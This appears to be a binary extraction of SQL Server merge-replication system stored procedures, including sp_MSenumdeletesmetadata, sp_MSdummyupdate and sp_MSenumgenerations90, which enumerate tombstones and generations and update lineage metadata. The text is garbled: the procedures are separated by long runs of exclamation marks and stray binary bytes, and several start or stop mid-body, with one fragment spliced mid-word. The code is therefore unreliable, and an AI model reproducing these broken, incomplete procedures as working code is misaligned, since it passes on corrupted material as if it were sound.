    and mc.generation > @commongen
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`ga<z5'0-!@ $8
create procedure sys.sp_MSenumdeletesmetadata(
    @pubid uniqueidentifier, 
    @maxrows int, 
    @genlist varchar(8000), 
    @tablenick int, 
    @rowguid    uniqueidentifier,
    @filter_partialdeletes int = 0,
    @specified_article_only int = 0,
    @mingen bigint = 0,
    @maxgen bigint = 0,
    @compatlevel int = 10,  -- backward compatibility level, default=Sphinx
    @enumentirerowmetadata bit= 1)

as
    declare @tnstring nvarchar(12)
    declare @pubidstr nvarchar(38)
    declare @tablenick_qual nvarchar(100)
    declare @generation_clause1 nvarchar(max)
    declare @generation_clause2 nvarchar(max)
    declare @generation_clause3 nvarchar(max)
    declare @last_art_processing_order int
    declare @last_art_processing_order_str varchar(12)
    declare @rowguid_clause nvarchar(100)

    if (@genlist is null)
    begin
        RAISERROR(14043, 16, -1, '@genlist', 'sp_MSenumdeletesmetadata')
        return (1)
    end
    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    -- security check
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin   
        if (@pubid is NULL)
        begin
                RAISERROR (21723, 16, -1, 'sp_MSenumdeletesmetadata')
                return 1
        end
        else
        begin
                RAISERROR (14126, 11, -1)
                return 1
        end
        end

    select @generation_clause1 = ' '
    select @generation_clause2 = ' ' 
    select @generation_clause3 = ' '
    
            

    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''

    /* If the filter_partialdeletes is NOT set, include all types of tombstones, else filter the type = 5 ones */
    if (@filter_partialdeletes = 0)
        set @tablenick_qual = ' and ts.tablenick = sm.nickname '
    else
        set @tablenick_qual = ' and ts.tablenick = sm.nickname and ts.type <> 5'
    
    declare @selecttop nvarchar(50)
    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 
    
    declare @mingenstr nvarchar(21)
    declare @maxgenstr nvarchar(21)

    select @mingenstr = convert(nvarchar, @mingen)
    select @maxgenstr = convert(nvarchar, @maxgen)

    declare @metadatacol nvarchar(200)

    if 0 = @enumentirerowmetadata
    begin
        if 0 = @tablenick or 0 = @specified_article_only
                set @metadatacol= 'sys.fn_MSgeneration_downloadonly(generation, tablenick), sys.fn_MSvector_downloadonly(lineage, tablenick)'
        else
                set @metadatacol= 'null, null'
    end
    else if @compatlevel >= 90
        set @metadatacol= 'generation, lineage'
    else
        set @metadatacol= 'generation, {fn LINEAGE_90_TO_80(lineage)}'

    if (@maxgen = 0)
    begin
        select @generation_clause1 = ' generation in ('
        select @generation_clause2 = rtrim(ltrim(@genlist)) 
        select @generation_clause3 = ') '
    end
    else if @mingen = @maxgen
        select @generation_clause1 = ' generation = ' + @mingenstr + ' '
    else
    begin
        select @generation_clause1 = ' generation >= ' + @mingenstr + ' and generation <= ' + @maxgenstr + ' and 
                                generation in ('
                select @generation_clause2 = rtrim(ltrim(@genlist))
                select @generation_clause3 = ') '
        end

    if (@tablenick = 0)
    begin
        if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
        begin
            execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', ts.type 
                from dbo.MSmerge_tombstone ts, dbo.sysmergearticles sm
                where ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + '
                and sm.pubid = ' + @pubidstr + @tablenick_qual + '
                and (ts.tablenick in 
                                                (select nickname from dbo.sysmergepartitioninfoview where pubid = ' + @pubidstr + '
                                                and logical_record_view is null)
                                        or
                                        ts.logical_record_parent_rowguid is null
                                        )
                order by processing_order desc, tablenick desc, rowguid asc' )
                
            IF @@ERROR <>0 
            begin
                return (1)  
            end


        end
    end
    else
    begin
        set @tnstring = convert(nchar, @tablenick)
        if @rowguid is NULL or @rowguid = '00000000-0000-0000-0000-000000000000'
            select @rowguid_clause = ' '
        else
            select @rowguid_clause = ' and rowguid > ''' + convert(nchar(36), @rowguid) + ''' '
                
        if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
        begin
            if (@specified_article_only = 1)
            begin
                -- specify tablenick in the order by for performance reasons
                execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', ts.type 
                                        from dbo.MSmerge_tombstone ts
                    where ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + ' and 
                    tablenick = ' + @tnstring + @rowguid_clause + ' 
                    order by ts.tablenick, ts.rowguid' )

                IF @@ERROR <>0 
                begin
                    return (1)  
                end

            end
            else
            begin
                                exec sys.sp_MSget_article_processing_order @tablenick, @pubid, @last_art_processing_order output
                                select @last_art_processing_order_str = convert(varchar, @last_art_processing_order)

                execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', ts.type 
                        from dbo.MSmerge_tombstone ts, dbo.sysmergearticles sm
                    where ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + ' and 
                    (
                                                (tablenick = ' + @tnstring + @rowguid_clause + ') or
                                                (processing_order = ' + @last_art_processing_order_str + ' and tablenick < ' + @tnstring + ') or
                                                processing_order < ' + @last_art_processing_order_str + '
                                        ) 
                    and sm.pubid = ' + @pubidstr + @tablenick_qual + ' 
                    and (ts.tablenick in 
                                                (select nickname from dbo.sysmergepartitioninfoview where pubid = ' + @pubidstr + '
                                                and logical_record_view is null)
                                                or
                                                ts.logical_record_parent_rowguid is null
                                                )
                    order by processing_order desc, tablenick desc, rowguid asc' )

                IF @@ERROR <>0 
                begin
                    return (1)  
                end


            end
        end
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<=Ionflict_lineage, @lineage output
                if @@error<>0 or @retcode<>0 return(1)
            end
            set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, @oldmaxversion+1) }
            if @pubid is NULL
                select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick
            else
                select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
            if (@col_tracking = 0 or @colv is NULL)
                set @colv = NULL
            else
                set @colv = { fn UPDATECOLVBM(@colv, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }
        end

        update dbo.MSmerge_contents set generation = 0, lineage = @lineage, colv1 = @colv where
            tablenick = @tablenick and rowguid = @rowguid

        update dbo.MSmerge_past_partition_mappings set generation = 0 where
            tablenick = @tablenick and rowguid = @rowguid
            
        if @logical_record_parent_rowguid is not null
        begin
                exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata 
                    @logical_record_parent_nickname,
                    @logical_record_parent_rowguid,
                    @replnick, 0
        end

    end
    else if (@metatype = @METADATA_TYPE_ContentsDeferred)
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage
        end
        else if @conflict_lineage is not null
        begin
            set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, @oldmaxversion+1) }
        end
        else
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
        end

        if @incolv is not null
        begin
            set @colv = @incolv
        end
        else
        begin
            if @pubid is NULL
            begin
                select @col_tracking = column_tracking
                 from dbo.sysmergearticles where nickname = @tablenick
            end
            else
            begin
                select @col_tracking = column_tracking
                 from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
            end

            if (@col_tracking = 0)
                set @colv = NULL
            else
            begin
                set @colv = 0xFF
            end
        end

        begin tran
        save tran eval_change_membership_for_row
        
        exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = @tablenick, @rowguid = @rowguid
        if @retcode <> 0 or @@error <> 0
        begin
            rollback tran eval_change_membership_for_row
            commit tran
            return 1
        end

        -- METADATA_TYPE_ContentsDeferred has been determined even before we entered
        -- sp_MSdummyupdate90. Due to concurrency, it is possible that another merge
        -- already inserted contents rows through sp_MSdummyupdate90. Thus,
        -- we check again in the following insert statements.

        insert into dbo.MSmerge_contents (tablenick, rowguid, lineage, generation, colv1)
            select @tablenick, @rowguid, @lineage, 0, @colv
                where not exists (select * from dbo.MSmerge_contents
                                    where tablenick=@tablenick and rowguid=@rowguid)
                                    
         exec @retcode = sys.sp_MSevaluate_logicalrecordparent @nickname = @tablenick, @rowguid = @rowguid
         if @retcode <> 0 or @@error <> 0
                 begin
                        rollback tran eval_change_membership_for_row
            commit tran
            return 1
         end
                        
        commit tran
    end
    else if (@metatype = @METADATA_TYPE_SystemDelete) -- e.g., used to cope with dup key / dup index
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage
        end
        else if @conflict_lineage is not null
        begin
            set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, @oldmaxversion+1) }
        end
        else
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
        end

        begin transaction
        
        update dbo.MSmerge_tombstone set generation = 0, lineage = @lineage where
            tablenick = @tablenick and rowguid = @rowguid
            
        if @@rowcount = 0
        begin
            insert into dbo.MSmerge_tombstone (rowguid, tablenick, type, lineage, generation, logical_record_parent_rowguid) 
                select @rowguid, @tablenick, @metatype, @lineage, 0, @logical_record_parent_rowguid
                                where not exists (select * from dbo.MSmerge_contents 
                                        where tablenick = @tablenick
                                        and rowguid = @rowguid)
                        if @@rowcount = 0
                        begin
                                -- We get here only when there is an existing contents row, which caused us to 
                                -- not insert the tombstone row. Let us dummy update the contents row in this
                                -- case.
                                update dbo.MSmerge_contents set generation = 0
                                where tablenick = @tablenick
                                and rowguid = @rowguid
                        end
                        else
                        begin
                             
                            insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid,
                            partition_id, generation,reason)
                                values (0, @tablenick, @rowguid, -1, 0, 1)
                
                                delete from dbo.MSmerge_current_partition_mappings where rowguid=@rowguid and tablenick=@tablenick
			            end
           
        end
        if @logical_record_parent_rowguid is not null
        begin
                exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata 
                    @logical_record_parent_nickname,
                    @logical_record_parent_rowguid,
                    @replnick, 0
        end
        commit
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('Qv


create procedure sys.sp_MSdummyupdate
    (@rowguid uniqueidentifier, 
     @tablenick int, 
     @metatype tinyint, 
     @pubid uniqueidentifier = NULL, 
     @uplineage tinyint = 1, 
     @inlineage varbinary(311) = NULL, 
     @incolv varbinary(2953) = NULL)
as
    declare @retcode int
    declare @lineage varbinary(311)
    declare @conflict_lineage varbinary(311)
    declare @replnick binary(6)
    declare @col_tracking int
    declare @colv varbinary(2953)

    /* Parameter checks */
    if (@rowguid is null)
        begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSdummyupdate')
        return (1)
        end
    if (@tablenick is null)
        begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSdummyupdate')
        return (1)
        end
    if (@metatype is null)
        begin
        RAISERROR(14043, 16, -1, '@metatype', 'sp_MSdummyupdate')
        return (1)
        end

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    /* Check if we have a merge publication by whether system table is there */
    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    exec sys.sp_MSgetreplnick @replnick = @replnick out
    if (@@error <> 0) or @replnick IS NULL 
    begin
        RAISERROR (14055, 11, -1)
        RETURN(1)
    end                 

    -- only Shiloh reconciler and below call sp_MSdummyupdate, Yukon reconciler calls sp_MSdummyupdate90
    if @inlineage is not null
        set @inlineage= {fn LINEAGE_80_TO_90(@inlineage)}
    if @incolv is not null
        set @incolv= {fn COLV_80_TO_90(@incolv)}
    
    -- Look for the "other" lineage in a conflict table
    select @conflict_lineage = max(lineage) from MSmerge_errorlineage where
        rowguid = @rowguid and tablenick = @tablenick

    if (@metatype = 0)
    begin
        /* We don't have the row.  Putting in a system delete tombstone should cause a delete and
        ** eventual convergence.  We are already logging the row as a conflict / error.
        */
        if @conflict_lineage is not null
        begin
            set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, 1) }
        end
        else
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
        end
           
                begin tran
                
        insert into dbo.MSmerge_tombstone (rowguid, tablenick, type, lineage, generation) 
            select @rowguid, @tablenick, 6, @lineage, 0
                        where not exists (select * from dbo.MSmerge_contents 
                                        where tablenick = @tablenick
                                        and rowguid = @rowguid)
                if @@rowcount = 0
                begin
                        -- We get here only when there is an existing contents row, which caused us to 
                        -- not insert the tombstone row. Let us dummy update the contents row in this
                        -- case.
                        update dbo.MSmerge_contents set generation = 0
                        where tablenick = @tablenick
                        and rowguid = @rowguid
                end
                else
                begin
                        delete from dbo.MSmerge_current_partition_mappings where rowguid=@rowguid and tablenick=@tablenick
                        insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid,
                                partition_id, generation, reason)
                                values (0, @tablenick, @rowguid, -1, 0, 1)
                end
                commit tran
        
    end
    else if (@metatype = 1)
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage
            set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, 1) }
        end
        else
        begin
            select @lineage = lineage from dbo.MSmerge_tombstone with (UPDLOCK ROWLOCK index = 1) where tablenick = @tablenick and
                rowguid = @rowguid
            if (@uplineage = 1)
            begin
                if @conflict_lineage is not null
                begin
                    exec @retcode= sys.xp_mergelineages @lineage, @conflict_lineage, @lineage output
                    if @@error<>0 or @retcode<>0 return(1)
                end
                set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, 1) }
            end
        end
            
        update dbo.MSmerge_tombstone set generation = 0, lineage = @lineage where
            tablenick = @tablenick and rowguid = @rowguid
    end
    else if (@metatype = 2)
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage
            set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, 1) }

            if @incolv is not null
            begin
                set @colv = @incolv
            end
            else
            begin
                select @colv = colv1 from dbo.MSmerge_contents with (UPDLOCK ROWLOCK index = 1) where 
                    tablenick = @tablenick and rowguid = @rowguid
                if @pubid is NULL
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick
                else
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
                if (@col_tracking = 0 or @colv is NULL)
                    set @colv = NULL
                else
                    set @colv = { fn UPDATECOLVBM(@colv, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }
            end
        end
        else
            -- @inlineage is null -> @incolv is null, too
        begin
            select @lineage = lineage, @colv = colv1 from dbo.MSmerge_contents with (UPDLOCK ROWLOCK index = 1) where tablenick = @tablenick and
                rowguid = @rowguid
            if (@uplineage = 1)
            begin
                if @conflict_lineage is not null
                begin
                    exec @retcode= sys.xp_mergelineages @lineage, @conflict_lineage, @lineage output
                    if @@error<>0 or @retcode<>0 return(1)
                end
                set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, 1) }
                if @pubid is NULL
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick
                else
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
                if (@col_tracking = 0 or @colv is NULL)
                    set @colv = NULL
                else
                    set @colv = { fn UPDATECOLVBM(@colv, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }
            end
        end

        update dbo.MSmerge_contents set generation = 0, lineage = @lineage, colv1 = @colv where
            tablenick = @tablenick and rowguid = @rowguid

        update dbo.MSmerge_past_partition_mappings set generation = 0 where
            tablenick = @tablenick and rowguid = @rowguid

    end
    else if (@metatype = 3)
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage
            set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, 1) }
        end
        else if @conflict_lineage is not null
        begin
            set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, 1) }
        end
        else
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, 2) }
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(e2wԑv%)CREATE PROCEDURE sys.sp_MSenumgenerations90
    (@genstart bigint = 0, 
     @pubid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
     @partition_id int = 0,
     @numgens int = 100,
     @mingen_to_enumerate bigint = 0,
     @maxgen_to_enumerate bigint = 0x7FFFFFFFFFFFFFFF output)
as
    declare @retcode                    smallint
            ,@publication_number        smallint
            ,@min_open_gen              bigint
            ,@min_open_gen_guid     uniqueidentifier
            ,@min_open_gen_art_nick     int
            ,@min_open_gen_status     tinyint
            ,@next_possible_watermark   bigint
            ,@next_possible_watermark_guidsrc uniqueidentifier
            ,@next_possible_watermark_art_nick int
            ,@next_possible_watermark_pubid uniqueidentifier
            ,@next_possible_watermark_genstatus tinyint
            ,@next_possible_watermark_nicknames varbinary(1001)
            ,@next_possible_watermark_changecount int

    /*
    ** Check to see if current publication has permission
    */
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin   
        RAISERROR (14126, 11, -1)
        return (1)
    end

    if (@genstart is null)
    begin
        RAISERROR(14043, 16, -1, '@genstart', 'sp_MSenumgenerations90')
        return (1)
    end
    if (@pubid is null)
    begin
        RAISERROR(14043, 16, -1, '@pubid', 'sp_MSenumgenerations90')
        return (1)
    end

    select @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
    if (@publication_number is null)
    begin
        RAISERROR(14043, 16, -1, '@pubid', 'sp_MSenumgenerations90')
        return (1)
    end
        
    -- the first time @maxgen_to_enumerate will be MAX bigint
    if @maxgen_to_enumerate = 0x7FFFFFFFFFFFFFFF
        select @maxgen_to_enumerate = ident_current('dbo.MSmerge_genhistory')

    if @partition_id = 0
    begin
        select top 1 @min_open_gen = generation, @min_open_gen_guid = guidsrc, @min_open_gen_art_nick = art_nick 
        from dbo.MSmerge_genhistory  with (rowlock)
        where generation >= @genstart 
        and generation <= @maxgen_to_enumerate
        and genstatus in (0,4)
        order by generation asc

        select top 1 @next_possible_watermark = generation, @next_possible_watermark_guidsrc = guidsrc,
            @next_possible_watermark_art_nick = art_nick, @next_possible_watermark_genstatus = genstatus,
            @next_possible_watermark_pubid = pubid, @next_possible_watermark_nicknames = nicknames,
            @next_possible_watermark_changecount = changecount
        from dbo.MSmerge_genhistory with (rowlock)
        where generation >= @genstart 
        and generation < @min_open_gen
        and (--for sqlce subscribers, since artnick=0, we need to enumerate generations for all publications that republish this article, hotfix 50001550
        	  (art_nick = 0 and (genstatus = 1 or pubid in (select pubid from sysmergearticles where artid in (select artid from sysmergearticles where pubid=@pubid))))
                or art_nick is NULL or art_nick in (select nickname from dbo.sysmergearticles where pubid = @pubid))        
        and genstatus in (1,2)
        order by generation desc

        select top (@numgens)  * 
        from
        (
            select generation, guidsrc, art_nick, 
                    case when genstatus = 4 then 0 else genstatus end as genstatus, 
                   pubid, nicknames, 
            okaytoskip = case when
                            art_nick is not null and art_nick <> 0
                            and genstatus in (0,4)
                            -- Skip all rows that are for incomplete generations for articles that have no joins.
                            and not exists (select 1 from dbo.sysmergesubsetfilters where (join_nickname = art_nick or art_nickname = art_nick) and (filter_type & 1) = 1)
                        then 1 else 0 end
            , changecount
            from 
            (select generation, guidsrc, art_nick, genstatus, pubid, nicknames, changecount
                from dbo.MSmerge_genhistory with (rowlock, repeatableread)
                where generation >= @genstart 
                and generation <= @maxgen_to_enumerate
                and generation > @mingen_to_enumerate
                and ( (art_nick = 0 and (genstatus = 1 or pubid in (select pubid from sysmergearticles where artid in (select artid from sysmergearticles where pubid=@pubid))))
                or art_nick is NULL or                 
                art_nick in (select nickname from dbo.sysmergearticles 
                where pubid = @pubid)) 
            ) as generation_range
            
            UNION ALL       -- use UNION ALL instead of UNION for perf reasons. Merge agent code will skip dupes. Will only have max 2 dupes.
                
            select generation = @next_possible_watermark, guidsrc = @next_possible_watermark_guidsrc,
                art_nick = @next_possible_watermark_art_nick, genstatus = @next_possible_watermark_genstatus,
                pubid = @next_possible_watermark_pubid, nicknames = @next_possible_watermark_nicknames,
                okaytoskip = 0, changecount = @next_possible_watermark_changecount  
            where @next_possible_watermark is not null

            union all
            
            select generation = @min_open_gen, guidsrc= @min_open_gen_guid, art_nick=@min_open_gen_art_nick, genstatus=0, 
                        pubid=@pubid, nicknames=NULL, okaytoskip = 0, changecount=0
            where @min_open_gen is not null
       
        ) as genertions
        order by generation ASC

    end
    else
    begin        
        select top 1 @min_open_gen = generation, 
                     @min_open_gen_guid = guidsrc, 
                     @min_open_gen_art_nick = art_nick, 
                     @min_open_gen_status = case when genstatus = 4 then 0 else genstatus end
        from dbo.MSmerge_genhistory with (rowlock)
        where generation >= @genstart 
        and generation <= @maxgen_to_enumerate
        and genstatus in (0,4)
        order by generation asc
        
        -- the following can happen right after the publication is created and the first snapshot run. We will just have
        -- one closed generation and no open generations in the database if there are no changes. In shiloh we used
        -- to always have atleast one open gen. Since in yukon that is not the case and we may not have any open generations
        -- if no dml has ever happened, we will just make the min generation (generation 1 should be inserted by the first makegeneration
        -- that is run after the snapshot as the min open gen
        if @min_open_gen is NULL
        begin
            select top 1 @min_open_gen = generation,
                         @min_open_gen_guid = guidsrc, 
                         @min_open_gen_art_nick = art_nick, 
                         @min_open_gen_status = genstatus
                from dbo.MSmerge_genhistory with (rowlock)
                where generation >= @genstart and 
                      genstatus in (1,2) and 
                      generation > @mingen_to_enumerate and
			((art_nick = 0 and (genstatus = 1 or pubid in (select pubid from sysmergearticles where artid in (select artid from sysmergearticles where pubid=@pubid))))
                      or art_nick is NULL or art_nick in (select nickname from dbo.sysmergearticles where pubid = @pubid))                      
            order by generation asc
            select @next_possible_watermark = NULL
        end

        -- don't enumerate next possible watermark for parition groups since that generation could belong to another partition.
        -- for details see bug 359661
        /*
        else
        begin
            select top 1 @next_possible_wat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<e],%)ermark = generation, @next_possible_watermark_guidsrc = guidsrc,
                @next_possible_watermark_art_nick = art_nick, @next_possible_watermark_genstatus = genstatus,
                @next_possible_watermark_pubid = pubid, @next_possible_watermark_nicknames = nicknames
            from dbo.MSmerge_genhistory with (rowlock)
            where generation >= @genstart 
            and generation < @min_open_gen
            and (art_nick = 0 or art_nick is NULL or art_nick in (select nickname from dbo.sysmergearticles where pubid = @pubid))
            and genstatus in (1,2)
            order by generation desc
        end
        
        select @next_possible_watermark_changecount = isnull(sum(changecount), 0)
        from dbo.MSmerge_generation_partition_mappings with (rowlock)
        where generation = @next_possible_watermark
        and (
                (partition_id = @partition_id and publication_number = @publication_number) or
                (partition_id = @partition_id and publication_number = 0) or
                (partition_id = -1 and publication_number = @publication_number) or
                (partition_id = -1 and publication_number = 0)
            )*/

        select top (@numgens) * 
        from
        (
            select mgh.generation, mgh.guidsrc, mgh.art_nick, mgh.genstatus, mgh.pubid, mgh.nicknames, 
                                        okaytoskip = 0, gpm.changecount
            from dbo.MSmerge_genhistory mgh with (rowlock, repeatableread)
            inner join 
            (   
                select generation, changecount = sum(changecount) from dbo.MSmerge_generation_partition_mappings with (rowlock, repeatableread)
                where generation >= @genstart
                and generation > @mingen_to_enumerate
                and generation <= @maxgen_to_enumerate
                and
                (
                                (partition_id = @partition_id and publication_number = @publication_number) or
                                (partition_id = @partition_id and publication_number = 0) or
                                (partition_id = -1 and publication_number = @publication_number) or
                                (partition_id = -1 and publication_number = 0)
                        )
                        group by generation
            ) as gpm
